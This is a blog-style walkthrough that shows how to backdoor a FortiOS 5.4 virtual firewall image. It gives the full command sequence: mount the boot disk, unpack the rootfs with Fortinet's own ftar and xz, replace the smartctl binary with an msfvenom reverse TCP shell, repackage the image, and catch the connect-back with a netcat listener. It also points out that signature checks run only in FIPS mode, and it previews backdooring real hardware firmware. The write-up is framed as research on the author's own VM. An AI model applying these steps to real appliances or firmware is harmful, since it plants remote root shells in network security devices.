Lately I’ve been playing with FortiOS 5.4 Beta 3 VM. In previous versions of FortiOS, you could use the hidden fnsysctl command to run linux CLI commands (only a subset, unfortunately). For example, if you download the FortiOS 5.2 x86 VM, you can run the command “fnsysctl cat /proc/version”, which will display the Linux kernel version it uses.
For those of you that didn’t know, FortiOS is Linux. They are the same. And FortiOS, up to and including version 5.2, is Linux 2.4. This means that FortiOS does not have ASLR, DEP, stack cookies, or any modern Linux exploit countermeasures. And everything is written in C, and all processes run as root.
Personally, I find this bizarre. The company I work for has FortiGate firewalls, and it’s a little weird to think that the only Linux box we have running kernel 2.4 is the box we’re using to protect all the other Linux boxes. Anyway, I digress.
Back to FortiOS 5.4. It seems that Fortinet is tired of porting third-party vendor SDK driver code back to Linux 2.4, so they decided to upgrade the kernel to 3.2. ASLR is even enabled. Not sure about DEP, but I know stack cookies aren’t enabled. But it also appears that “fnsysctl” has been removed. Let’s fix that.
Once you’ve downloaded the OVF zip archive, unzip it, then run ovftool to get it working on VMware Fusion (or Workstation). You will find that it sets up two disks, with the first disk name ending with “-disk1.vmdk”. This is the system boot drive and is formatted ext2.
For our experiment, you’ll need a Linux box. Something on the 3.x kernel, running 32-bit (i686-pae is fine). In VMware, add an “existing disk” to your Linux VM. It’s fine to copy the disk rather than sharing it with the FortiOS VM. Make sure that FortiOS is powered down via “exec shutdown” and not simply suspended.
Once you’ve copied the VMDK and connected it to your Linux VM, mount the disk via “mkdir /mnt/fos” and “mount /dev/sdb1 /mnt/fos”. The disk may be detected as something other than /dev/sdb1. Use the output of dmesg to check.
Now cd to the /mnt/fos directory, and enter “ls -la”. You should see the following files:
drwxr-xr-x 8 root root 1024 Aug 30 21:06 .
drwxr-xr-x 8 root root 4096 Aug 30 10:29 ..
drwxr-xr-x 2 root root 1024 Aug 17 20:53 bin
-rw-r–r– 1 root root 1 Aug 17 20:53 boot.msg
drwxr-xr-x 2 root root 1024 Aug 24 17:54 cmdb
drwxr-xr-x 2 root root 1024 Aug 30 19:58 config
-rwxr-xr-x 1 root root 32516 Aug 30 20:03 crash
-rw-r–r– 1 root root 0 Aug 30 20:02 dhcp6s_db.bak
-rw-r–r– 1 root root 0 Aug 30 20:02 dhcpddb.bak
-rw-r–r– 1 root root 0 Aug 30 20:02 dhcp_ipmac.dat.bak
drwxr-xr-x 8 root root 2048 Aug 24 14:51 etc
-rw-r–r– 1 root root 124 Aug 17 20:53 extlinux.conf
-rw-r–r– 1 root root 2314464 Aug 17 20:53 flatkc
-rw-r–r– 1 root root 256 Aug 17 20:53 flatkc.chk
-r–r–r– 1 root root 32256 Aug 17 20:53 ldlinux.sys
drwxr-xr-x 2 root root 1024 Aug 22 10:59 lib
drwx—— 2 root root 12288 Aug 17 20:53 lost+found
-rw-r–r– 1 root root 21959605 Aug 31 19:21 rootfs.gz
-rw-r–r– 1 root root 256 Aug 17 20:53 rootfs.gz.chk
Great. Now if you cat the extlinux.conf file, you will see that the initrd is set to rootfs.gz. Go ahead and extract this file with gzip, preferably to a different directory. I extracted mine to /root/rootfs. I’m using Kali so hence running as root.
The rootfs blob you extracted is a cpio image. You can extract the files with cpio, using the syntax “cat rootfs | cpio -idmv”. You should now see all the files in the rootfs directory. Go ahead and delete the extracted gzip (called rootfs).
So now we have the following files in our /root/rootfs directory:
drwxr-xr-x 11 root root 4096 Aug 30 10:34 .
drwxr-xr-x 60 root root 4096 Aug 31 19:10 ..
-rw-r–r– 1 root root 12463836 Aug 31 19:21 bin.tar.xz
drwxr-xr-x 2 root root 4096 Aug 17 20:51 data
drwxr-xr-x 2 root root 4096 Aug 17 20:51 data2
drwxr-xr-x 6 root root 20480 Aug 30 10:34 dev
lrwxrwxrwx 1 root root 8 Aug 30 10:34 etc -> data/etc
lrwxrwxrwx 1 root root 1 Aug 30 10:34 fortidev -> /
lrwxrwxrwx 1 root root 1 Aug 30 10:34 fortidev4 -> /
lrwxrwxrwx 1 root root 10 Aug 30 10:34 init -> /sbin/init
drwxr-xr-x 2 root root 4096 Aug 30 10:34 lib
-rw-r–r– 1 root root 5104324 Aug 17 20:51 migadmin.tar.xz
drwxr-xr-x 2 root root 4096 Aug 17 20:51 proc
drwxr-xr-x 2 root root 4096 Aug 30 10:34 sbin
drwxr-xr-x 2 root root 4096 Aug 17 20:51 sys
drwxr-xr-x 2 root root 4096 Aug 17 20:51 tmp
-rw-r–r– 1 root root 1112980 Aug 17 20:52 usr.tar.xz
drwxr-xr-x 8 root root 4096 Aug 30 10:34 var
We’re almost there. The file we’re looking for is called bin.tar.xz. It appears to be an xz compressed tar file, however, all of my attempts to extract this file with xz indicates that it is corrupted.
Fortinet must have altered their version of tar and xz. Luckily, they’ve left their copy kicking around for us to play with. If you look in the /root/rootfs/sbin directory there are three files: init, ftar and xz. To makes these files run, you can chroot to the /root/rootfs directory so that they find their libs in the right directory. Worked fine for me on Kali 1.x running i686-pae kernel.
Extract the contents of the bin.tar.xz using “chroot /root/rootfs sbin/xz -d bin.tar.xz” and “chroot /root/rootfs sbin/ftar -xf bin.tar”. Issue these commands from the /root/rootfs directory. This should unpack the files into the bin directory under the rootfs.
Now we need to backdoor a binary. I make it really simple. Just “cd” into the rootfs bin directory, and run “rm smartctl” and “msfvenom -p linux/x86/shell_reverse_tcp -f elf -o smartctl LHOST=172.16.8.1 LPORT=22”. Use an LHOST IP address that the FortiOS VM has connectivity to. This will overwrite the smartctl file with a TCP reverse shell.
Now we need to repackage the files:
chroot /root/rootfs sbin/ftar -cf bin.tar bin
chroot /root/rootfs sbin/xz –check=sha256 -e bin.tar
find . | cpio -H newc -o > /root/rootfs.raw
cat /root/rootfs.raw | gzip > /mnt/fos/rootfs.gz
Now unmount the FortiOS partition and shutdown your Linux VM. Copy the “-disk1.vdmk” that was mounted on your Linux VM over the same VMDK from the FortiOS VM. Now start the FortiOS VM. Try not to act shocked when it boots :)
Once the system is booted, login and drop to a CLI. On your host system, startup a netcat listener:
sudo nc -v -l 22
Now on the FortiOS VM, issue the command: “diag hardware smartctl”. You should get your connect-back shell.
Now the first thing you’ll likely notice is:
/bin/sh: ls: not found
Don’t panic. This is expected. FortiOS uses “busybox” style binaries extensively, so the command you’re looking for is:
The “sysctl” binary has a lot of command line tools, which you can discover by entering the /bin/sysctl command by itself. Now that you have a shell, go and statically compile gdb and get fuzzing.
At this point, you may be wondering: doesn’t FortiOS have integrity checks to prevent this sort of thing? What’s the rootfs.gz.chk file for, then? The answer is, yes, it appears that firmware images and critical files such as the rootfs and kernel do have these signatures in the form of “chk” files.
However, these files are only checked when in FIPS mode. FIPS mode also disables most of the features on the box, so outside of the government, I do not think anyone actually enables FIPS mode. What’s interesting about that, is that all the “certifications” that FortiOS has, ie. EAL4+, are tested while running in FIPS mode.
Thanks for reading! Next post, we’re going to try extracting firmware files of other platforms (real FortiGate hardware firewalls), backdoor them, then see if we can upgrade to a backdoored image. Should be lots of fun.